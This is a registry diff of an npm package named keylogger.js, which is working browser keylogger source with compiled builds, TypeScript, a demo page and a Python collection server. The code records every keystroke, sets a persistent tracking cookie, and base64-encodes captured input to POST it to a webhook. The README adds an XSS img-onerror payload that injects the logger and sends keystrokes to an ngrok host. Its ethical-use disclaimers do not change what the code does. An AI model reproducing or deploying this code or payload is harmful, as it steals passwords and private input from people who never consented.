@mihnea.dev/keylogger.js 0.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +108 -0
- package/dist/index.cjs +138 -0
- package/dist/index.d.cts +71 -0
- package/dist/index.d.ts +71 -0
- package/dist/index.js +115 -0
- package/examples/index.html +19 -0
- package/examples/server.py +96 -0
- package/package.json +31 -0
- package/src/index.ts +3 -0
- package/src/lib/Keylogger.ts +123 -0
- package/src/lib/Keylogger.types.ts +20 -0
- package/tsconfig.json +27 -0
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2024 Mihnea-Octavian Manolache
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,108 @@
|
|
1
|
+
# Keylogger.js
|
2
|
+
**Keylogger.js** is a lightweight JavaScript library for ethical hacking, penetration testing, and security research. It allows security professionals to capture keyboard events and send them securely to a specified webhook for analysis. Designed for ethical use only, this library serves as a tool for demonstrating vulnerabilities in applications and enhancing system security.
|
3
|
+
|
4
|
+
## ⚠️ Disclaimer
|
5
|
+
This library is intended **only for ethical purposes** such as security research and testing within authorized environments. Unauthorized use, including any malicious or illegal intent, is strictly prohibited. The author disclaims all responsibility for any misuse of this software.
|
6
|
+
|
7
|
+
## Features
|
8
|
+
- **Lightweight**: keylogger.js is a lightweight library that can be easily integrated into any web application.
|
9
|
+
- **Secure**: All captured keyboard events are base64 encoded and sent securely to a specified webhook.
|
10
|
+
- **Customizable**: Developers can customize the library to suit their needs, including changing the webhook URL and adding additional functionality.
|
11
|
+
- **Modular**: Built using modern TypeScript for robust type safety and developer experience.
|
12
|
+
|
13
|
+
## Installation
|
14
|
+
You can install **Keylogger.js** via npm or yarn:
|
15
|
+
|
16
|
+
```bash
|
17
|
+
# Using bun
|
18
|
+
bun install @mihnea.dev/keylogger.js
|
19
|
+
# Using npm
|
20
|
+
npm install @mihnea.dev/keylogger.js
|
21
|
+
# Using yarn
|
22
|
+
yarn add @mihnea.dev/keylogger.js
|
23
|
+
```
|
24
|
+
|
25
|
+
## Usage
|
26
|
+
To use keylogger.js in your web application, you need to import the library and initialize it with your webhook URL:
|
27
|
+
|
28
|
+
```typescript
|
29
|
+
import Keylogger from '@mihnea.dev/keylogger.js';
|
30
|
+
|
31
|
+
/* Initialize the Keylogger with your webhook */
|
32
|
+
const _: Keylogger = new Keylogger('https://your-webhook-url.com');
|
33
|
+
```
|
34
|
+
|
35
|
+
Should you embed the script directly in your HTML file, you can initialize the library as follows:
|
36
|
+
|
37
|
+
```html
|
38
|
+
<script>
|
39
|
+
import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
|
40
|
+
const keylogger = new Keylogger('https://your-webhook-url.com', false);
|
41
|
+
console.log('Keylogger initialized:', keylogger);
|
42
|
+
</script>
|
43
|
+
```
|
44
|
+
|
45
|
+
## Configuration Options
|
46
|
+
Keylogger.js supports several configuration options that can be passed to the constructor:
|
47
|
+
- `webhook`: The URL to which the captured keyboard events will be sent.
|
48
|
+
- `logAll`: A boolean flag indicating whether all keyboard events should be logged (default: `false`).
|
49
|
+
|
50
|
+
## Example
|
51
|
+
This example demonstrates how to use Keylogger.js in a controlled testing environment by integrating the Python server, exposing it using Ngrok, and embedding the library into a vulnerable webpage to simulate XSS.
|
52
|
+
|
53
|
+
### 1. Start the Python Webhook Server
|
54
|
+
The Python server included in [`./examples/server.py`](./examples/server.py) listens for incoming requests from Keylogger.js. It decodes Base64-encoded payloads and logs them. To start the server, run the following command:
|
55
|
+
|
56
|
+
```bash
|
57
|
+
python3 examples/server.py
|
58
|
+
```
|
59
|
+
|
60
|
+
### 2. Expose the Server Using Ngrok
|
61
|
+
To expose the Python server to the internet, use Ngrok. Run the following command to start an HTTP tunnel:
|
62
|
+
|
63
|
+
```bash
|
64
|
+
ngrok http 3000
|
65
|
+
```
|
66
|
+
|
67
|
+
### 3. Embed Keylogger.js in a Webpage
|
68
|
+
This step demonstrates embedding Keylogger.js into a vulnerable webpage as part of an XSS simulation.
|
69
|
+
|
70
|
+
```html
|
71
|
+
<img src="invalid.jpg" onerror="
|
72
|
+
const script = document.createElement('script');
|
73
|
+
script.src = 'https://your-cdn-link.com/keylogger.js';
|
74
|
+
document.body.appendChild(script);
|
75
|
+
script.onload = () => {
|
76
|
+
const _ = new Keylogger('https://<random-id>.ngrok.io', true);
|
77
|
+
};
|
78
|
+
">
|
79
|
+
```
|
80
|
+
|
81
|
+
### Observing Results:
|
82
|
+
1. The Keylogger.js library captures keystrokes and sends them to the webhook.
|
83
|
+
2. The Python server decodes the Base64-encoded payload and logs the captured keystrokes.
|
84
|
+
```bash
|
85
|
+
Decoded Payload: {"type":"keypress","value":"a","session":{...}}
|
86
|
+
Parsed JSON:
|
87
|
+
{
|
88
|
+
"type": "keypress",
|
89
|
+
"value": "a",
|
90
|
+
"session": {
|
91
|
+
"id": "unique-session-id",
|
92
|
+
"created_at": "2024-11-29T18:00:00Z",
|
93
|
+
"user_agent": "Mozilla/5.0",
|
94
|
+
"session_cookie": "master-kw-session"
|
95
|
+
}
|
96
|
+
}
|
97
|
+
```
|
98
|
+
|
99
|
+
## Security Considerations
|
100
|
+
- Ensure you use this library only in authorized and controlled environments.
|
101
|
+
- Do not use this tool for any illegal or unauthorized activity.
|
102
|
+
- Always notify and gain consent from stakeholders before testing.
|
103
|
+
|
104
|
+
## Contributing
|
105
|
+
Contributions are welcome! Feel free to open issues or submit pull requests to improve the library.
|
106
|
+
|
107
|
+
## License
|
108
|
+
This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.
|
package/dist/index.cjs
ADDED
@@ -0,0 +1,138 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __defProp = Object.defineProperty;
|
3
|
+
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
|
4
|
+
var __getOwnPropNames = Object.getOwnPropertyNames;
|
5
|
+
var __hasOwnProp = Object.prototype.hasOwnProperty;
|
6
|
+
var __export = (target, all) => {
|
7
|
+
for (var name in all)
|
8
|
+
__defProp(target, name, { get: all[name], enumerable: true });
|
9
|
+
};
|
10
|
+
var __copyProps = (to, from, except, desc) => {
|
11
|
+
if (from && typeof from === "object" || typeof from === "function") {
|
12
|
+
for (let key of __getOwnPropNames(from))
|
13
|
+
if (!__hasOwnProp.call(to, key) && key !== except)
|
14
|
+
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
|
15
|
+
}
|
16
|
+
return to;
|
17
|
+
};
|
18
|
+
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
|
19
|
+
|
20
|
+
// src/index.ts
|
21
|
+
var src_exports = {};
|
22
|
+
__export(src_exports, {
|
23
|
+
default: () => src_default
|
24
|
+
});
|
25
|
+
module.exports = __toCommonJS(src_exports);
|
26
|
+
|
27
|
+
// src/lib/Keylogger.ts
|
28
|
+
var Keylogger = class {
|
29
|
+
/** Webhook URL to send captured data. */
|
30
|
+
webhook;
|
31
|
+
/** Current session information. */
|
32
|
+
session = null;
|
33
|
+
/** Array to store captured keystrokes. */
|
34
|
+
keys = [];
|
35
|
+
/**
|
36
|
+
* Constructs a new instance of the Keylogger.
|
37
|
+
*
|
38
|
+
* @param { string } webhook - URL of the webhook to send captured data.
|
39
|
+
* @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
|
40
|
+
*/
|
41
|
+
constructor(webhook, logAll) {
|
42
|
+
this.webhook = webhook;
|
43
|
+
const masterSession = this.getOrCreateMasterSession();
|
44
|
+
this.initializeSession(masterSession);
|
45
|
+
logAll ? this.logAll() : this.logOnEnter();
|
46
|
+
}
|
47
|
+
/**
|
48
|
+
* Retrieves or creates a persistent "master-kw-cookie" cookie.
|
49
|
+
* @returns The value of the "master-kw-session" cookie.
|
50
|
+
*/
|
51
|
+
getOrCreateMasterSession() {
|
52
|
+
const cookieName = "master-kw-session";
|
53
|
+
const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
|
54
|
+
if (existingCookie) {
|
55
|
+
return existingCookie.split("=")[1];
|
56
|
+
}
|
57
|
+
const newMasterSession = crypto.randomUUID();
|
58
|
+
const expires = /* @__PURE__ */ new Date();
|
59
|
+
expires.setFullYear(expires.getFullYear() + 100);
|
60
|
+
document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
|
61
|
+
return newMasterSession;
|
62
|
+
}
|
63
|
+
/**
|
64
|
+
* Initializes the session with metadata.
|
65
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
66
|
+
*/
|
67
|
+
async initializeSession(session_cookie) {
|
68
|
+
this.session = await this.createSession(session_cookie);
|
69
|
+
}
|
70
|
+
/**
|
71
|
+
* Creates a new session object with metadata.
|
72
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
73
|
+
* @returns { Promise<ISession> } A Promise resolving to the session object.
|
74
|
+
*/
|
75
|
+
async createSession(session_cookie) {
|
76
|
+
const id = crypto.randomUUID();
|
77
|
+
const created_at = /* @__PURE__ */ new Date();
|
78
|
+
const user_agent = navigator.userAgent;
|
79
|
+
return { id, created_at, user_agent, session_cookie };
|
80
|
+
}
|
81
|
+
/**
|
82
|
+
* Sends captured data to the webhook along with the session information.
|
83
|
+
* NOTE: Data is encoded in Base64 to prevent interception.
|
84
|
+
*
|
85
|
+
* @param payload - The data payload to send.
|
86
|
+
*/
|
87
|
+
async sendToWebhook(payload) {
|
88
|
+
if (!this.session) return;
|
89
|
+
const body = btoa(JSON.stringify({ ...payload, session: this.session }));
|
90
|
+
try {
|
91
|
+
const response = await fetch(this.webhook, {
|
92
|
+
method: "POST",
|
93
|
+
headers: {
|
94
|
+
"Content-Type": "text/plain"
|
95
|
+
},
|
96
|
+
body
|
97
|
+
});
|
98
|
+
if (!response.ok) {
|
99
|
+
console.error(btoa(response.statusText));
|
100
|
+
}
|
101
|
+
} catch (e) {
|
102
|
+
console.error(btoa(e.toString()));
|
103
|
+
}
|
104
|
+
}
|
105
|
+
/**
|
106
|
+
* Logs all keypress events and sends each key to the webhook.
|
107
|
+
*/
|
108
|
+
logAll() {
|
109
|
+
document.addEventListener("keydown", (event) => {
|
110
|
+
const key = event.key;
|
111
|
+
this.keys.push(key);
|
112
|
+
this.sendToWebhook({
|
113
|
+
type: "keypress",
|
114
|
+
value: key
|
115
|
+
});
|
116
|
+
});
|
117
|
+
}
|
118
|
+
/**
|
119
|
+
* Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
|
120
|
+
*/
|
121
|
+
logOnEnter() {
|
122
|
+
document.addEventListener("keydown", (event) => {
|
123
|
+
if (event.key === "Enter") {
|
124
|
+
const value = this.keys.join("");
|
125
|
+
this.keys = [];
|
126
|
+
this.sendToWebhook({
|
127
|
+
type: "enter",
|
128
|
+
value
|
129
|
+
});
|
130
|
+
} else {
|
131
|
+
this.keys.push(event.key);
|
132
|
+
}
|
133
|
+
});
|
134
|
+
}
|
135
|
+
};
|
136
|
+
|
137
|
+
// src/index.ts
|
138
|
+
var src_default = Keylogger;
|
package/dist/index.d.cts
ADDED
@@ -0,0 +1,71 @@
|
|
1
|
+
/**
|
2
|
+
* Interface representing a session's metadata.
|
3
|
+
*/
|
4
|
+
interface ISession {
|
5
|
+
/** Unique identifier for the session. */
|
6
|
+
id: string;
|
7
|
+
/** Timestamp when the session was created. */
|
8
|
+
created_at: Date;
|
9
|
+
/** User agent string of the client browser. */
|
10
|
+
user_agent: string;
|
11
|
+
/** Persistent session cookie. */
|
12
|
+
session_cookie: string;
|
13
|
+
}
|
14
|
+
interface IPayload {
|
15
|
+
/** Type of event captured. */
|
16
|
+
type: "keypress" | "enter";
|
17
|
+
/** Value of the captured event. */
|
18
|
+
value: string;
|
19
|
+
}
|
20
|
+
|
21
|
+
/**
|
22
|
+
* Keylogger class to capture keyboard events and send them to a specified webhook.
|
23
|
+
*/
|
24
|
+
declare class Keylogger {
|
25
|
+
/** Webhook URL to send captured data. */
|
26
|
+
protected webhook: string;
|
27
|
+
/** Current session information. */
|
28
|
+
protected session: ISession | null;
|
29
|
+
/** Array to store captured keystrokes. */
|
30
|
+
protected keys: Array<string>;
|
31
|
+
/**
|
32
|
+
* Constructs a new instance of the Keylogger.
|
33
|
+
*
|
34
|
+
* @param { string } webhook - URL of the webhook to send captured data.
|
35
|
+
* @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
|
36
|
+
*/
|
37
|
+
constructor(webhook: string, logAll?: boolean | undefined);
|
38
|
+
/**
|
39
|
+
* Retrieves or creates a persistent "master-kw-cookie" cookie.
|
40
|
+
* @returns The value of the "master-kw-session" cookie.
|
41
|
+
*/
|
42
|
+
protected getOrCreateMasterSession(): string;
|
43
|
+
/**
|
44
|
+
* Initializes the session with metadata.
|
45
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
46
|
+
*/
|
47
|
+
protected initializeSession(session_cookie: string): Promise<void>;
|
48
|
+
/**
|
49
|
+
* Creates a new session object with metadata.
|
50
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
51
|
+
* @returns { Promise<ISession> } A Promise resolving to the session object.
|
52
|
+
*/
|
53
|
+
protected createSession(session_cookie: string): Promise<ISession>;
|
54
|
+
/**
|
55
|
+
* Sends captured data to the webhook along with the session information.
|
56
|
+
* NOTE: Data is encoded in Base64 to prevent interception.
|
57
|
+
*
|
58
|
+
* @param payload - The data payload to send.
|
59
|
+
*/
|
60
|
+
protected sendToWebhook(payload: IPayload): Promise<void>;
|
61
|
+
/**
|
62
|
+
* Logs all keypress events and sends each key to the webhook.
|
63
|
+
*/
|
64
|
+
protected logAll(): void;
|
65
|
+
/**
|
66
|
+
* Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
|
67
|
+
*/
|
68
|
+
protected logOnEnter(): void;
|
69
|
+
}
|
70
|
+
|
71
|
+
export { type IPayload, type ISession, Keylogger as default };
|
package/dist/index.d.ts
ADDED
@@ -0,0 +1,71 @@
|
|
1
|
+
/**
|
2
|
+
* Interface representing a session's metadata.
|
3
|
+
*/
|
4
|
+
interface ISession {
|
5
|
+
/** Unique identifier for the session. */
|
6
|
+
id: string;
|
7
|
+
/** Timestamp when the session was created. */
|
8
|
+
created_at: Date;
|
9
|
+
/** User agent string of the client browser. */
|
10
|
+
user_agent: string;
|
11
|
+
/** Persistent session cookie. */
|
12
|
+
session_cookie: string;
|
13
|
+
}
|
14
|
+
interface IPayload {
|
15
|
+
/** Type of event captured. */
|
16
|
+
type: "keypress" | "enter";
|
17
|
+
/** Value of the captured event. */
|
18
|
+
value: string;
|
19
|
+
}
|
20
|
+
|
21
|
+
/**
|
22
|
+
* Keylogger class to capture keyboard events and send them to a specified webhook.
|
23
|
+
*/
|
24
|
+
declare class Keylogger {
|
25
|
+
/** Webhook URL to send captured data. */
|
26
|
+
protected webhook: string;
|
27
|
+
/** Current session information. */
|
28
|
+
protected session: ISession | null;
|
29
|
+
/** Array to store captured keystrokes. */
|
30
|
+
protected keys: Array<string>;
|
31
|
+
/**
|
32
|
+
* Constructs a new instance of the Keylogger.
|
33
|
+
*
|
34
|
+
* @param { string } webhook - URL of the webhook to send captured data.
|
35
|
+
* @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
|
36
|
+
*/
|
37
|
+
constructor(webhook: string, logAll?: boolean | undefined);
|
38
|
+
/**
|
39
|
+
* Retrieves or creates a persistent "master-kw-cookie" cookie.
|
40
|
+
* @returns The value of the "master-kw-session" cookie.
|
41
|
+
*/
|
42
|
+
protected getOrCreateMasterSession(): string;
|
43
|
+
/**
|
44
|
+
* Initializes the session with metadata.
|
45
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
46
|
+
*/
|
47
|
+
protected initializeSession(session_cookie: string): Promise<void>;
|
48
|
+
/**
|
49
|
+
* Creates a new session object with metadata.
|
50
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
51
|
+
* @returns { Promise<ISession> } A Promise resolving to the session object.
|
52
|
+
*/
|
53
|
+
protected createSession(session_cookie: string): Promise<ISession>;
|
54
|
+
/**
|
55
|
+
* Sends captured data to the webhook along with the session information.
|
56
|
+
* NOTE: Data is encoded in Base64 to prevent interception.
|
57
|
+
*
|
58
|
+
* @param payload - The data payload to send.
|
59
|
+
*/
|
60
|
+
protected sendToWebhook(payload: IPayload): Promise<void>;
|
61
|
+
/**
|
62
|
+
* Logs all keypress events and sends each key to the webhook.
|
63
|
+
*/
|
64
|
+
protected logAll(): void;
|
65
|
+
/**
|
66
|
+
* Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
|
67
|
+
*/
|
68
|
+
protected logOnEnter(): void;
|
69
|
+
}
|
70
|
+
|
71
|
+
export { type IPayload, type ISession, Keylogger as default };
|
package/dist/index.js
ADDED
@@ -0,0 +1,115 @@
|
|
1
|
+
// src/lib/Keylogger.ts
|
2
|
+
var Keylogger = class {
|
3
|
+
/** Webhook URL to send captured data. */
|
4
|
+
webhook;
|
5
|
+
/** Current session information. */
|
6
|
+
session = null;
|
7
|
+
/** Array to store captured keystrokes. */
|
8
|
+
keys = [];
|
9
|
+
/**
|
10
|
+
* Constructs a new instance of the Keylogger.
|
11
|
+
*
|
12
|
+
* @param { string } webhook - URL of the webhook to send captured data.
|
13
|
+
* @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
|
14
|
+
*/
|
15
|
+
constructor(webhook, logAll) {
|
16
|
+
this.webhook = webhook;
|
17
|
+
const masterSession = this.getOrCreateMasterSession();
|
18
|
+
this.initializeSession(masterSession);
|
19
|
+
logAll ? this.logAll() : this.logOnEnter();
|
20
|
+
}
|
21
|
+
/**
|
22
|
+
* Retrieves or creates a persistent "master-kw-cookie" cookie.
|
23
|
+
* @returns The value of the "master-kw-session" cookie.
|
24
|
+
*/
|
25
|
+
getOrCreateMasterSession() {
|
26
|
+
const cookieName = "master-kw-session";
|
27
|
+
const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
|
28
|
+
if (existingCookie) {
|
29
|
+
return existingCookie.split("=")[1];
|
30
|
+
}
|
31
|
+
const newMasterSession = crypto.randomUUID();
|
32
|
+
const expires = /* @__PURE__ */ new Date();
|
33
|
+
expires.setFullYear(expires.getFullYear() + 100);
|
34
|
+
document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
|
35
|
+
return newMasterSession;
|
36
|
+
}
|
37
|
+
/**
|
38
|
+
* Initializes the session with metadata.
|
39
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
40
|
+
*/
|
41
|
+
async initializeSession(session_cookie) {
|
42
|
+
this.session = await this.createSession(session_cookie);
|
43
|
+
}
|
44
|
+
/**
|
45
|
+
* Creates a new session object with metadata.
|
46
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
47
|
+
* @returns { Promise<ISession> } A Promise resolving to the session object.
|
48
|
+
*/
|
49
|
+
async createSession(session_cookie) {
|
50
|
+
const id = crypto.randomUUID();
|
51
|
+
const created_at = /* @__PURE__ */ new Date();
|
52
|
+
const user_agent = navigator.userAgent;
|
53
|
+
return { id, created_at, user_agent, session_cookie };
|
54
|
+
}
|
55
|
+
/**
|
56
|
+
* Sends captured data to the webhook along with the session information.
|
57
|
+
* NOTE: Data is encoded in Base64 to prevent interception.
|
58
|
+
*
|
59
|
+
* @param payload - The data payload to send.
|
60
|
+
*/
|
61
|
+
async sendToWebhook(payload) {
|
62
|
+
if (!this.session) return;
|
63
|
+
const body = btoa(JSON.stringify({ ...payload, session: this.session }));
|
64
|
+
try {
|
65
|
+
const response = await fetch(this.webhook, {
|
66
|
+
method: "POST",
|
67
|
+
headers: {
|
68
|
+
"Content-Type": "text/plain"
|
69
|
+
},
|
70
|
+
body
|
71
|
+
});
|
72
|
+
if (!response.ok) {
|
73
|
+
console.error(btoa(response.statusText));
|
74
|
+
}
|
75
|
+
} catch (e) {
|
76
|
+
console.error(btoa(e.toString()));
|
77
|
+
}
|
78
|
+
}
|
79
|
+
/**
|
80
|
+
* Logs all keypress events and sends each key to the webhook.
|
81
|
+
*/
|
82
|
+
logAll() {
|
83
|
+
document.addEventListener("keydown", (event) => {
|
84
|
+
const key = event.key;
|
85
|
+
this.keys.push(key);
|
86
|
+
this.sendToWebhook({
|
87
|
+
type: "keypress",
|
88
|
+
value: key
|
89
|
+
});
|
90
|
+
});
|
91
|
+
}
|
92
|
+
/**
|
93
|
+
* Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
|
94
|
+
*/
|
95
|
+
logOnEnter() {
|
96
|
+
document.addEventListener("keydown", (event) => {
|
97
|
+
if (event.key === "Enter") {
|
98
|
+
const value = this.keys.join("");
|
99
|
+
this.keys = [];
|
100
|
+
this.sendToWebhook({
|
101
|
+
type: "enter",
|
102
|
+
value
|
103
|
+
});
|
104
|
+
} else {
|
105
|
+
this.keys.push(event.key);
|
106
|
+
}
|
107
|
+
});
|
108
|
+
}
|
109
|
+
};
|
110
|
+
|
111
|
+
// src/index.ts
|
112
|
+
var src_default = Keylogger;
|
113
|
+
export {
|
114
|
+
src_default as default
|
115
|
+
};
|
@@ -0,0 +1,19 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en">
|
3
|
+
<head>
|
4
|
+
<meta charset="UTF-8">
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
6
|
+
<title>Keylogger Test</title>
|
7
|
+
</head>
|
8
|
+
<body>
|
9
|
+
<h1>Keylogger Test Page</h1>
|
10
|
+
<p>Type something in this page to test the keylogger.</p>
|
11
|
+
|
12
|
+
<!-- Import Keylogger.js using unpkg -->
|
13
|
+
<script type="module">
|
14
|
+
import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
|
15
|
+
const keylogger = new Keylogger('https://your-webhook-url.com', false);
|
16
|
+
console.log('Keylogger initialized:', keylogger);
|
17
|
+
</script>
|
18
|
+
</body>
|
19
|
+
</html>
|
@@ -0,0 +1,96 @@
|
|
1
|
+
"""
|
2
|
+
Python Webhook Server for Keylogger Class
|
3
|
+
|
4
|
+
This Python server acts as a webhook endpoint for the Keylogger class,
|
5
|
+
designed to listen for HTTP POST requests on http://0.0.0.0:3000.
|
6
|
+
It processes incoming keystroke data sent by the Keylogger, allowing
|
7
|
+
you to log, inspect, and respond to the payloads.
|
8
|
+
|
9
|
+
- The Keylogger sends JSON data containing keystrokes or session information.
|
10
|
+
- This server's POST handler (`do_POST`) decodes and prints the payload.
|
11
|
+
- If the payload is valid JSON, it logs the structured JSON to the console for inspection.
|
12
|
+
|
13
|
+
NOTE: In a production environment, you should secure the server with HTTPS, and store the payload
|
14
|
+
data securely in a database or log file. This server is for testing and debugging purposes only.
|
15
|
+
|
16
|
+
Example Payload Sent by Keylogger:
|
17
|
+
---------------------------------
|
18
|
+
{
|
19
|
+
"type": "keypress",
|
20
|
+
"value": "a",
|
21
|
+
"session": {
|
22
|
+
"id": "unique-session-id",
|
23
|
+
"created_at": "2024-11-29T17:30:00Z",
|
24
|
+
"user_agent": "Mozilla/5.0",
|
25
|
+
"session_cookie": "master-kw-session"
|
26
|
+
}
|
27
|
+
}
|
28
|
+
|
29
|
+
How to Use:
|
30
|
+
-----------
|
31
|
+
1. Run this server using:
|
32
|
+
$ python3 examples/server.py
|
33
|
+
|
34
|
+
1.1. You can use ngrok to expose the server to the internet:
|
35
|
+
$ ngrok http 3000
|
36
|
+
|
37
|
+
2. Configure your Keylogger instance to send keystroke data to the webhook URL:
|
38
|
+
e.g., new Keylogger("https://your-ngrok-url.ngrok.io")
|
39
|
+
"""
|
40
|
+
|
41
|
+
from http.server import BaseHTTPRequestHandler, HTTPServer
|
42
|
+
import json, base64
|
43
|
+
|
44
|
+
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
|
45
|
+
def do_OPTIONS(self):
|
46
|
+
"""
|
47
|
+
Handle preflight CORS requests.
|
48
|
+
"""
|
49
|
+
self.send_response(200)
|
50
|
+
self.send_header("Access-Control-Allow-Origin", "*")
|
51
|
+
self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
|
52
|
+
self.send_header("Access-Control-Allow-Headers", "Content-Type")
|
53
|
+
self.end_headers()
|
54
|
+
|
55
|
+
def do_POST(self):
|
56
|
+
"""
|
57
|
+
Handle POST requests with raw Base64 payloads.
|
58
|
+
"""
|
59
|
+
# Read the content length from headers
|
60
|
+
content_length = int(self.headers.get('Content-Length', 0))
|
61
|
+
# Read the incoming POST data (Base64-encoded string)
|
62
|
+
base64_payload = self.rfile.read(content_length).decode('utf-8')
|
63
|
+
|
64
|
+
# Decode Base64-encoded payload
|
65
|
+
try:
|
66
|
+
decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
|
67
|
+
print("Decoded Payload:", decoded_payload)
|
68
|
+
|
69
|
+
# Try parsing the decoded payload as JSON
|
70
|
+
try:
|
71
|
+
json_payload = json.loads(decoded_payload)
|
72
|
+
print("Parsed JSON Payload:", json.dumps(json_payload, indent=4))
|
73
|
+
except json.JSONDecodeError:
|
74
|
+
print("Decoded payload is not valid JSON.")
|
75
|
+
except Exception as e:
|
76
|
+
print("Error decoding Base64 payload:", str(e))
|
77
|
+
|
78
|
+
# Respond to the client
|
79
|
+
self.send_response(200)
|
80
|
+
self.send_header("Access-Control-Allow-Origin", "*")
|
81
|
+
self.send_header("Content-Type", "application/json")
|
82
|
+
self.end_headers()
|
83
|
+
self.wfile.write(b'{"status": "success"}')
|
84
|
+
|
85
|
+
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler):
|
86
|
+
"""
|
87
|
+
Start the HTTP server on localhost:3000.
|
88
|
+
"""
|
89
|
+
server_address = ('0.0.0.0', 3000)
|
90
|
+
httpd = server_class(server_address, handler_class)
|
91
|
+
print("Starting server on http://0.0.0.0:3000")
|
92
|
+
httpd.serve_forever()
|
93
|
+
|
94
|
+
if __name__ == "__main__":
|
95
|
+
run()
|
96
|
+
|
package/package.json
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
{
|
2
|
+
"name": "@mihnea.dev/keylogger.js",
|
3
|
+
"version": "0.0.4",
|
4
|
+
"author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
|
5
|
+
"repository": {
|
6
|
+
"type": "git",
|
7
|
+
"url": "git+https://github.com/mihneamanolache/keylogger.js.git"
|
8
|
+
},
|
9
|
+
"main": "./dist/cjs/index.js",
|
10
|
+
"module": "./dist/esm/index.js",
|
11
|
+
"devDependencies": {
|
12
|
+
"@types/bun": "latest",
|
13
|
+
"tsup": "^8.3.5"
|
14
|
+
},
|
15
|
+
"peerDependencies": {
|
16
|
+
"typescript": "^5.0.0"
|
17
|
+
},
|
18
|
+
"exports": {
|
19
|
+
"./package.json": "./package.json",
|
20
|
+
".": {
|
21
|
+
"require": "./dist/index.cjs",
|
22
|
+
"import": "./dist/index.mjs"
|
23
|
+
}
|
24
|
+
},
|
25
|
+
"description": "A simple keylogger for the browser. Please use it responsibly!",
|
26
|
+
"scripts": {
|
27
|
+
"build": "rm -rf ./dist && tsup src/index.ts --format cjs,esm --dts --clean"
|
28
|
+
},
|
29
|
+
"type": "module",
|
30
|
+
"types": "./dist/index.d.ts"
|
31
|
+
}
|
package/src/index.ts
ADDED
@@ -0,0 +1,123 @@
|
|
1
|
+
import type { IPayload, ISession } from "./Keylogger.types";
|
2
|
+
|
3
|
+
/**
|
4
|
+
* Keylogger class to capture keyboard events and send them to a specified webhook.
|
5
|
+
*/
|
6
|
+
export default class Keylogger {
|
7
|
+
/** Webhook URL to send captured data. */
|
8
|
+
protected webhook: string;
|
9
|
+
/** Current session information. */
|
10
|
+
protected session: ISession | null = null;
|
11
|
+
/** Array to store captured keystrokes. */
|
12
|
+
protected keys: Array<string> = [];
|
13
|
+
|
14
|
+
/**
|
15
|
+
* Constructs a new instance of the Keylogger.
|
16
|
+
*
|
17
|
+
* @param { string } webhook - URL of the webhook to send captured data.
|
18
|
+
* @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
|
19
|
+
*/
|
20
|
+
